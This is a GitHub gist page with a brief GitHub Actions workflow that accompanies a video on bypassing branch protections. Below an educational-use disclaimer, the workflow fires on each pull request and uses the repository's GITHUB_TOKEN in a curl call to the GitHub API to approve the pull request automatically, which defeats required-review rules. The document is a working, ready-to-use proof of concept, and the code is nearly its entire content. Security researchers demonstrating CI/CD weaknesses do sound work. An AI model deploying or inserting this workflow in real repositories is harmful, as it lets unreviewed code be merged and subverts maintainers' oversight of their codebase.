Skip to content

Instantly share code, notes, and snippets.

@tuladhar
Created June 17, 2023 13:42
Show Gist options
  • Save tuladhar/4add6db22bfaee7884a8eab3fdadc64e to your computer and use it in GitHub Desktop.
Save tuladhar/4add6db22bfaee7884a8eab3fdadc64e to your computer and use it in GitHub Desktop.
Bypassing Branch Protections with Github Actions (CI/CD) - https://www.youtube.com/watch?v=UbfhVXJn6fk
# Disclaimer: This code is provided for educational and research purposes only.
# It is not intended, nor should it be used, for malicious activities.
# The author and distributor of this code do not endorse or promote the
# unauthorized penetration of computer systems or networks
name: APPROVE
on: pull_request
permissions:
pull-requests: write
jobs:
approve:
runs-on: ubuntu-latest
steps:
- run: |
curl --request POST \
--url https://api.github.com/repos/${{github.repository}}/pulls/${{github.event.number}}/reviews \
--header 'authorization: Bearer ${{ secrets.GITHUB_TOKEN }}' \
--header 'content-type: application/json' \
-d '{"event": "APPROVE"}'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment